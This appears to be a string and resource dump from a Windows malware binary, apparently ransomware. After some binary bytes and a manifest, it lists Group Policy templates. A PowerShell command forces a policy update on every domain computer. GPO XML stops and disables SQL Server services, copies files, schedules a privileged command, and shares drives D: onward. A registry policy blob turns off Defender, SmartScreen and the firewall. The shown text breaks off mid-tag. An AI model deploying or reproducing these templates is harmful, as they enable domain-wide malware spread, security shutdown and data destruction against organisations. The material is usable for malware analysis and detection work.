00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\x00\x18\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x000\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\t\x04\x00\x00H\x00\x00\x00`P\x00\x00{\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<?xml version=\'1.0\' encoding=\'UTF-8\' standalone=\'yes\'?>\r\n<assembly xmlns=\'urn:schemas-microsoft-com:asm.v1\' manifestVersion=\'1.0\'>\r\n  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">\r\n    <security>\r\n      <requestedPrivileges>\r\n        <requestedExecutionLevel level=\'asInvoker\' uiAccess=\'false\' />\r\n      </requestedPrivileges>\r\n    </security>\r\n  </trustInfo>\r\n</assembly>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xcc\x00\x00\x00\xa71\xb01\xba1\xc71\xcd1\xd61\xe01\xed1\xd52O5X5^6\xa16\xb56\xd16\xda6\xe46\xf16\xf76\x007\n7\x177\x1d7&707=7C7\x957\x9b7\xc77\xed7\xfa7\x088i8r8|8\x898\xb98\xdc8\x17;!;(;2;9;C;J;T;[;e;l;v;};\x87;\x8e;\x98;\xc2;\xed<\x12=7=F=L=[=a=x=\x81=\x8d=\x9c=\xa2=\xb1=\xb7=\xcb=\xd4=\xe0=\xef=\xf5=\x01>\x07>\x1b>$>0>:>m>\x99>\xb3>\xd5>\xe9>\xf2>\r?\x16?1?:?[?p?\x9c?\xcd?\xd8?\xea?\x00\x00\x00 \x00\x00\xf8\x00\x00\x00\x080\x160!0r0~0\x900\xbd0\xc90\xe40\xed0\x181$1@1R1d1\x841\xa11\xb31\xe41\xf21\x162,2P2r2\xa12\xbe2\xd62\x1f3{3\x963\xc53\xd73\x164"4<4H4[4w4B5N5\xbd5\xff5\x0b6,6?6\x826\x8e6\xea6%7S7i7\x927\xc27\xde7\xf87\x038\r8$8j8~8\x998\xd48\xe08\xec8\xf88\x1f9$9*9<9^9r9\x829\x999\xb89\xc19\xcb9\xd19\xdd9\xe29\xeb9\xf09\xf69\xfb9\x01:\x06:\x0f:\x18:3:=:R:f:x:\x84:\x90:\xa2:\xaf:\xb8:\xc3:\xd0:\xdd:\x83;\x8c;\x98;\x9e;\xa4;\xaa;\xb0;\xb6;\xbc;\xc2;\xc8;\xce;\xd4;\xda;\xe0;\xe6;\xec;\xf2;\xf8;\xfe;\x000\x00\x00\x14\x00\x00\x00`0d0h0l0x0\x00\x00\x00@\x00\x004\x00\x00\x00\x000\x040\x080\x0c0\x100\x140\x180\x1c0 0$0(0,0004080<0@0D0H0L0P0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'


b"powershell Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object { Invoke-GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}"


b'<?xml version="1.0" encoding="utf-8"?>\r\n<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}">\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLPBDMS" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SQLPBDMS" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLPBENGINE" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SQLPBENGINE" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MSSQLFDLauncher" image="4" changed="%s" uid="%s" userContext="0" removePolicy="0" disabled="0"><Properties startupType="DISABLED" serviceName="MSSQLFDLauncher" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLSERVERAGENT" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SQLSERVERAGENT" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MSSQLServerOLAPService" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="MSSQLServerOLAPService" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SSASTELEMETRY" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SSASTELEMETRY" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLBrowser" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SQLBrowser" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQL Server Distributed Replay Client" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SQL Server Distributed Replay Client" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQL Server Distributed Replay Controller" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SQL Server Distributed Replay Controller" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MsDtsServer150" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="MsDtsServer150" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SSISTELEMETRY150" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SSISTELEMETRY150" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SSISScaleOutMaster150" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SSISScaleOutMaster150" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SSISScaleOutWorker150" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SSISScaleOutWorker150" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MSSQLLaunchpad" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="MSSQLLaunchpad" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLWriter" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SQLWriter" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLTELEMETRY" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="SQLTELEMETRY" serviceAction="STOP" timeout="30"/></NTService>\r\n\t<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MSSQLSERVER" image="4" changed="%s" uid="%s" disabled="0"><Properties startupType="DISABLED" serviceName="MSSQLSERVER" serviceAction="STOP" timeout="60"/></NTService>\r\n</NTServices>\r\n'


b'<?xml version="1.0" encoding="utf-8"?>\r\n<Files clsid="{215B2E53-57CE-475c-80FE-9EEC14635851}">\r\n\t<File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="%s" status="%s" image="2" bypassErrors="1" changed="%s" uid="%s">\r\n\t<Properties action="U" fromPath="%s" targetPath="%s" readOnly="0" archive="1" hidden="0" suppress="0"/>\r\n\t</File>\r\n</Files>\r\n'


b'<?xml version="1.0" encoding="utf-8"?>\r\n<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">\r\n\t<TaskV2 clsid="{D8896631-B747-47a7-84A6-C155337F3BC8}" name="%s" image="2" changed="%s" uid="%s"><Properties action="U" name="%s" runAs="%s" logonType="InteractiveToken"><Task version="1.2"><RegistrationInfo><Author>%s</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>%s</UserId><LogonType>InteractiveToken</LogonType><RunLevel>HighestAvailable</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>false</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority></Settings><Triggers><RegistrationTrigger><Enabled>true</Enabled></RegistrationTrigger></Triggers><Actions Context="Author"><Exec><Command>%s</Command><Arguments>%s</Arguments></Exec></Actions></Task></Properties></TaskV2>\r\n</ScheduledTasks>\r\n'


b'PReg\x01\x00\x00\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00\\\x00S\x00y\x00s\x00t\x00e\x00m\x00\x00\x00;\x00G\x00r\x00o\x00u\x00p\x00P\x00o\x00l\x00i\x00c\x00y\x00R\x00e\x00f\x00r\x00e\x00s\x00h\x00T\x00i\x00m\x00e\x00D\x00C\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x01\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00\\\x00S\x00y\x00s\x00t\x00e\x00m\x00\x00\x00;\x00G\x00r\x00o\x00u\x00p\x00P\x00o\x00l\x00i\x00c\x00y\x00R\x00e\x00f\x00r\x00e\x00s\x00h\x00T\x00i\x00m\x00e\x00O\x00f\x00f\x00s\x00e\x00t\x00D\x00C\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x01\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00\\\x00S\x00y\x00s\x00t\x00e\x00m\x00\x00\x00;\x00G\x00r\x00o\x00u\x00p\x00P\x00o\x00l\x00i\x00c\x00y\x00R\x00e\x00f\x00r\x00e\x00s\x00h\x00T\x00i\x00m\x00e\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x01\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00\\\x00S\x00y\x00s\x00t\x00e\x00m\x00\x00\x00;\x00G\x00r\x00o\x00u\x00p\x00P\x00o\x00l\x00i\x00c\x00y\x00R\x00e\x00f\x00r\x00e\x00s\x00h\x00T\x00i\x00m\x00e\x00O\x00f\x00f\x00s\x00e\x00t\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x01\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00\\\x00S\x00y\x00s\x00t\x00e\x00m\x00\x00\x00;\x00E\x00n\x00a\x00b\x00l\x00e\x00S\x00m\x00a\x00r\x00t\x00S\x00c\x00r\x00e\x00e\x00n\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x00\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00\\\x00S\x00y\x00s\x00t\x00e\x00m\x00\x00\x00;\x00*\x00*\x00d\x00e\x00l\x00.\x00S\x00h\x00e\x00l\x00l\x00S\x00m\x00a\x00r\x00t\x00S\x00c\x00r\x00e\x00e\x00n\x00L\x00e\x00v\x00e\x00l\x00\x00\x00;\x00\x01\x00\x00\x00;\x00\x04\x00\x00\x00;\x00 \x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00D\x00e\x00f\x00e\x00n\x00d\x00e\x00r\x00\x00\x00;\x00D\x00i\x00s\x00a\x00b\x00l\x00e\x00A\x00n\x00t\x00i\x00S\x00p\x00y\x00w\x00a\x00r\x00e\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x01\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00D\x00e\x00f\x00e\x00n\x00d\x00e\x00r\x00\x00\x00;\x00D\x00i\x00s\x00a\x00b\x00l\x00e\x00R\x00o\x00u\x00t\x00i\x00n\x00e\x00l\x00y\x00T\x00a\x00k\x00i\x00n\x00g\x00A\x00c\x00t\x00i\x00o\x00n\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x01\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00D\x00e\x00f\x00e\x00n\x00d\x00e\x00r\x00\\\x00R\x00e\x00a\x00l\x00-\x00T\x00i\x00m\x00e\x00 \x00P\x00r\x00o\x00t\x00e\x00c\x00t\x00i\x00o\x00n\x00\x00\x00;\x00D\x00i\x00s\x00a\x00b\x00l\x00e\x00R\x00e\x00a\x00l\x00t\x00i\x00m\x00e\x00M\x00o\x00n\x00i\x00t\x00o\x00r\x00i\x00n\x00g\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x01\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00D\x00e\x00f\x00e\x00n\x00d\x00e\x00r\x00\\\x00R\x00e\x00a\x00l\x00-\x00T\x00i\x00m\x00e\x00 \x00P\x00r\x00o\x00t\x00e\x00c\x00t\x00i\x00o\x00n\x00\x00\x00;\x00D\x00i\x00s\x00a\x00b\x00l\x00e\x00B\x00e\x00h\x00a\x00v\x00i\x00o\x00r\x00M\x00o\x00n\x00i\x00t\x00o\x00r\x00i\x00n\x00g\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x01\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00D\x00e\x00f\x00e\x00n\x00d\x00e\x00r\x00\\\x00S\x00p\x00y\x00n\x00e\x00t\x00\x00\x00;\x00S\x00u\x00b\x00m\x00i\x00t\x00S\x00a\x00m\x00p\x00l\x00e\x00s\x00C\x00o\x00n\x00s\x00e\x00n\x00t\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x02\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00D\x00e\x00f\x00e\x00n\x00d\x00e\x00r\x00\\\x00S\x00p\x00y\x00n\x00e\x00t\x00\x00\x00;\x00S\x00p\x00y\x00n\x00e\x00t\x00R\x00e\x00p\x00o\x00r\x00t\x00i\x00n\x00g\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x00\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00F\x00i\x00r\x00e\x00w\x00a\x00l\x00l\x00\\\x00D\x00o\x00m\x00a\x00i\x00n\x00P\x00r\x00o\x00f\x00i\x00l\x00e\x00\x00\x00;\x00E\x00n\x00a\x00b\x00l\x00e\x00F\x00i\x00r\x00e\x00w\x00a\x00l\x00l\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x00\x00\x00\x00]\x00[\x00S\x00O\x00F\x00T\x00W\x00A\x00R\x00E\x00\\\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00\\\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\\\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00F\x00i\x00r\x00e\x00w\x00a\x00l\x00l\x00\\\x00S\x00t\x00a\x00n\x00d\x00a\x00r\x00d\x00P\x00r\x00o\x00f\x00i\x00l\x00e\x00\x00\x00;\x00E\x00n\x00a\x00b\x00l\x00e\x00F\x00i\x00r\x00e\x00w\x00a\x00l\x00l\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x04\x00\x00\x00;\x00\x00\x00\x00\x00]\x00'


b'\xef\xbb\xbf<?xml version=\'1.0\' encoding=\'utf-8\'?>\r\n<policyComments xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/CommentDefinitions">\r\n  <policyNamespaces>\r\n    <using prefix="ns0" namespace="Microsoft.Policies.GroupPolicy"></using>\r\n    <using prefix="ns1" namespace="Microsoft.Policies.SmartScreen"></using>\r\n    <using prefix="ns2" namespace="Microsoft.Policies.WindowsDefender"></using>\r\n    <using prefix="ns3" namespace="Microsoft.Policies.WindowsFirewall"></using>\r\n  </policyNamespaces>\r\n  <comments>\r\n    <admTemplate></admTemplate>\r\n  </comments>\r\n  <resources minRequiredRevision="1.0">\r\n    <stringTable></stringTable>\r\n  </resources>\r\n</policyComments>'


b'<?xml version="1.0" encoding="utf-8"?>\r\n<NetworkShareSettings clsid="{520870D8-A6E7-47e8-A8D8-E6A4E76EAEC2}">\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_D" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_D" path="D:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_E" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_E" path="E:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_F" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_F" path="F:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_G" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_G" path="G:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_H" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_H" path="H:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_I" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_I" path="I:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_J" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_J" path="J:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_K" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_K" path="K:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_L" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_L" path="L:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_M" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_M" path="M:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_N" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_N" path="N:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_O" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_O" path="O:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_P" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_P" path="P:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_Q" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_Q" path="Q:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_R" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_R" path="R:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_S" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_S" path="S:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_T" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_T" path="T:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_U" changed="%s" uid="%s"><Properties action="U" name="%%ComputerName%%_U" path="U:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/></NetShare>\r\n\t<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_V" changed="%s" uid="%s"><Properties 